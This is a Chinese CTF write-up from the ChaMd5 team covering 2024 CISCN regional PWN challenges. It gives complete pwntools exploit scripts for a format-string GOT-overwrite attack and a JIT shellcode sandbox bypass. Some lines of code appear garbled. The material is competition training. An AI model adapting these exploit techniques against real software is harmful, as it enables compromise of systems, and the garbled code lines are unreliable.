专栏名称: ChaMd5安全团队
一群不正经的老司机组成的史上最牛逼的安全团队。小二,来杯优乐美。
51好读  ›  专栏  ›  ChaMd5安全团队

2024CISCN 华东南分区赛(AWDP)PWN题全WP

ChaMd5安全团队  · 公众号  ·  · 2024-06-26 08:11

正文

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

printf-master-attachment

先是init初始化了一些参数


后gift函数给了2位的地址

点击并拖拽以移动

在func中有一个fmt漏洞

点击并拖拽以移动

思路就是利用fmt造成无限循环,因为没用开got表保护,可以篡改got表然后执行execve

fmt 是非栈上的,就需要利用 跳板 篡改,还禁用了$ ,利用堆叠 占位符就能解决。

在非栈上格式化,利用跳板肯定需要知道栈地址,所以第一步gift需要泄露栈地址

img

因为开了pie,现在手上没有其他地址,需要边泄露地址边劫持返回地址

这里存在三级跳板,P1用来修改地址到printf的返回地址,P2用来修改返回地址

printf返回地址篡改为start需要爆破1/16

img

start地址为0x11b0


爆破成功篡改返回地址为start

img

P1改栈为printf返回地址的栈指针,P2修改返回地址

img

然后会执行start后再次有fmt漏洞,但是之前篡改的时候可以泄露地址,就有了所有的基地址

就可以修改exit_got为start,造成无限循环利用fmt

修改exit_got也是利用跳板,但是需要地址为elf的跳板,这样修改低位就能直接指向got表

img

img

指向got表之后,下一个地址就可以修改got表中的地址

最后利用跳板修改stack_chk_fail_got为one_gadget,然后修改exit_got为stack_chk_fail_plt完成调用

exp

from pwn import *
from LibcSearcher import*
from ctypes import *

FILENAME='../pwn5'
libc=ELF('../libc-2.31.so')

context.arch='amd64'
def pwn():
    p.sendline(b'1')

    p.recvuntil(b'0x')
    add=int(p.recv(4),16)
    success('add '+hex(add))
    
    p.recvuntil(b'name?' )
    p1='$17'#$18
    p2='$45'
    num=add-2*15-0x86-0x18
    stat_lox=0x11B0
    
    of=(0x10000-num)+stat_lox-0x1B3#aa98
    success('of '+hex(of))
    payload=f'%p'*(15)+f'%{num}c%hn'+'%p'*(45-17-1-1)+f'%{of}c%hn'
    p.sendline(payload)
    for i in range(7):
        p.recvuntil(b'0x')
    p.recvuntil(b'0x')
    heap_add=int(p.recv(6*2),16)
    heapbase=heap_add-0x3b0
    
    p.recvuntil(b'0x')
    p.recvuntil(b'0x')
    stack_add=int(p.recv(6*2),16)
    
    p.recvuntil(b'0x')
    elf_add=int(p.recv(6*2),16)
    elfbase=elf_add-0x6bd-0x1000
    p.recvuntil(b'nil')
    p.recvuntil(b'0x')
    libc_add=int(p.recv(6*2),16)
    libcbase=libc_add-libc.sym['__libc_start_main']-243
    

    p.recvuntil(b'what',timeout=2)
    return heapbase,stack_add,libcbase,add,elfbase
    

for i in range(16):
    try:
        p= process(FILENAME)
        
        heapbase,stack_add,libcbase,add,elfbase=pwn()
        success('libcbase '+hex(libcbase))
        success('stack_add '+hex(stack_add))
        success('heapbase '+hex(heapbase))
        success('elfbase '+hex(elfbase))
        one_gadget=[0xe3afe,0xe3b01,0xe3b04]
        execve=libcbase+one_gadget[1]
        success('execve '+hex(execve))
        
        p0='$29'#17
        p1='$58'#34
        target=(elfbase+0x4020)&0xffff
        target2=((elfbase+0x11B0)&0xffff)+(0x10000-target)
        print(hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x142}c%hn'
        payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn'
        p.sendline(payload)
        
        
        p.recvuntil(b'what',timeout=2)
        
        system_add=libcbase+libc.sym['system']
        p0='$29'#17
        p1='$64'#3a
        stack_chk_fail_got=elfbase+0x4030
        target=(stack_chk_fail_got)&0xffff
        target2=(execve)&0xffff
        print("stack_chk_fail_got_1",hex(target2))
        if(target20x10000-target-361)
        else: target2=target2-target-361

        print("stack_chk_fail_got_1",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload) 
        
        
        p.recvuntil(b'what',timeout=2)
        p0='$29'#17
        p1='$64'#3a
        target=(stack_chk_fail_got+2)&0xffff
        target2=((execve>>(8*2)))&0xffff
        print("stack_chk_fail_got_2",hex(target2))
        
        if(target20x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("stack_chk_fail_got_2",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload) 
        
        p.recvuntil(b'what',timeout=2)
        
        p0='$29'#17
        p1='$64'#3a
        target=(stack_chk_fail_got+4)&0xffff
        target2=((execve>>(8*4)))&0xffff
        print("stack_chk_fail_got_3",hex(target2))
        
        if(target20x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("stack_chk_fail_got_3",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload)  


        p.recvuntil(b'what',timeout=2)
        
        p0='$29'#17
        p1='$64'#3a
        target=(elfbase+0x4020)&0xffff
        target2=(elfbase+0x1130)&0xffff
        print("exit_got",hex(target2))
        
        if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("exit_got",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload)  
        p.interactive()

    except:
        p.close()
点击并拖拽以移动

baby_jit

开了一个禁用59(execve)的沙盒

image-20240625230042691

程序就两个功能一个add一个exec

image-20240625230100773

add函数,申请了chunk_s来存储输入的内容(0x30)没溢出,然后申请dest存储限制长度后的数据


exec函数中ptr+(n)都是指针位移用来汇编写入的正确性,*(ptr+n)直接赋值机器码用来功能的计算,在后面有一个call mmap空间,这个偏移是自己可控的,就偏移打到自己输入的数据中,控制数据执行正确的汇编即可,先执行read然后再读入flag

image-20240625230133731

img

exp

from pwn import *
from LibcSearcher import*
from ctypes import *

FILENAME='../baby_jit'
p= process(FILENAME)

context.arch='amd64'

def Add(context):
    p.recvuntil(b'>>')
    p.sendline(b'1')
    p.sendline(context)
def Exec(context):
    p.recvuntil(b'>>')
    p.sendline(b'2')
    p.recvuntil(b'offset')
    p.sendline(context)
sh='''
nop
push   rax
pop    rdi
push   rdx
pop    rsi
syscall
'''

calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))

Add(f'add {calc_sh}')

Exec(b'0.3')
sleep(1)
p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag')))
p.interactive()
点击并拖拽以移动

cJS0N







请到「今天看啥」查看全文


推荐文章
海峡都市报  ·  单依纯演唱会落泪,工作室凌晨发说明
2 天前
海峡都市报  ·  单依纯演唱会落泪,工作室凌晨发说明
2 天前
庞门正道  ·  儿子你尽管画,改不好当老爸输!
7 年前